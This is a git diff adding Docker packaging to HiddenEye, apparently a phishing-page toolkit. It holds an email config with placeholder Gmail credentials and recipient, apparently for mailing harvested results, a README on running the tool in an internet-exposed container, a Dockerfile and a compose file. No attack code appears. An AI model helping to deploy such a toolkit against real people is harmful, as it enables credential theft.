diff --git a/Defs/FeatureManager/EmailManager/emailconfig.py b/Defs/FeatureManager/EmailManager/emailconfig.py new file mode 100644 index 0000000..957080d --- /dev/null +++ b/Defs/FeatureManager/EmailManager/emailconfig.py @@ -0,0 +1,11 @@ +# +# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com +# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE. +# This is free software, and you are welcome to redistribute it +# under certain conditions; you can read LICENSE for details. +# + + +gmail_account = "GMAILACCOUNT" +gmail_password = "GMAILPASSWORD" +recipient_email = "RECIPIENTEMAIL" diff --git a/Docker/.redstyled.yaml b/Docker/.redstyled.yaml new file mode 100644 index 0000000..89458b4 --- /dev/null +++ b/Docker/.redstyled.yaml @@ -0,0 +1,2 @@ +--- +enabled: false diff --git a/Docker/README.md b/Docker/README.md new file mode 100644 index 0000000..d1297fd --- /dev/null +++ b/Docker/README.md @@ -0,0 +1,78 @@ +# Run HiddenEye in Docker Compose + +![docker](https://img.shields.io/badge/Docker-v19.03.12-blue?style=plastic&logo=docker) +![dockercompose](https://img.shields.io/badge/Docker_Compose-v1.25.4-orange?style=plastic&logo=docker) +![Maintainer](https://img.shields.io/badge/Maintainer-Equinockx-success?style=plastic&logo=terraform) + + +## Runnin within container + +![running](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/start.png) +![link](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/URL.png) + +## Requeriments + +- [X] Docker +- [X] docker-compose + +## Usage Mode + +Clone the repo from Github +```bash +git clone https://github.com/DarkSecDevelopers/HiddenEye +cd HiddenEye/Docker +``` + +Run docker-compose + +```bash +docker-compose up --build -d +``` +'_Don not need redirection of ports 'cause the container is exposed to internet_'
+Verify of the container is running with: + +```bash +docker-compose ps +``` +![ps](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/ps.png) + +Executing HiddenEye inside of container + +```bash +docker-compose exec hidden python3 HiddenEye.py +``` +![exec](https://github.com/MoisesTapia/HiddenEye/blob/Docker/Docker/images/executing.png) + +## Persist Data + +When we make or buils the service with `docker-compose up --build -d` this persist the data templates in the same folder `WebTemplate`. +If you add the new Template in `WbeTemplate` this will be reflected in the container and you can use it. + +To add WebTemplate you juste need add them in this folder and done +- [X] `equinockx~/Webtemplate$ cp * Docker/Webtemplate` +- [X] WebTemplate + +## First Start the services + +```bash +docker-compose up --build -d +``` +## Down the container +```bash +docker-compose down +``` +## Stop the services + +```bash +docker-compose stop +``` +## Start the services + +With this command docker-compose will initialize the service stopped + +```bash +docker-compose start +``` + + + diff --git a/Docker/images/URL.png b/Docker/images/URL.png new file mode 100644 index 0000000..f0aec25 Binary files /dev/null and b/Docker/images/URL.png differ diff --git a/Docker/images/executing.png b/Docker/images/executing.png new file mode 100644 index 0000000..3f67c38 Binary files /dev/null and b/Docker/images/executing.png differ diff --git a/Docker/images/ps.png b/Docker/images/ps.png new file mode 100644 index 0000000..27ebf75 Binary files /dev/null and b/Docker/images/ps.png differ diff --git a/Docker/images/start.png b/Docker/images/start.png new file mode 100644 index 0000000..498e797 Binary files /dev/null and b/Docker/images/start.png differ diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..cf8687e --- /dev/null +++ b/Dockerfile @@ -0,0 +1,15 @@ +FROM debian:10 +LABEL MAINTAINER="Equinockx moisestapia741@gmail.com" + +WORKDIR /home/ + +COPY . /home/ + +RUN apt-get update -y --no-install-recommends && \ + apt-get install -y --no-install-recommends python3.7 && \ + apt-get install -y python3-pip && \ + apt-get install --no-install-recommends -y php && \ + apt-get clean && \ + rm -rf /var/lib/apt/lists/* + +RUN pip3 install -r requirements.txt \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..eb88cf4 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,21 @@ +version: '3.7' + +networks: + internet: + driver: bridge + +services: + + hidden: + container_name: hidden + build: . + image: hidden:v0.1 + command: python3 HiddenEye.py + stdin_open: true + tty: true + volumes: + - "$PWD/WebPages:/home/WebPages" + networks: + - internet + restart: always +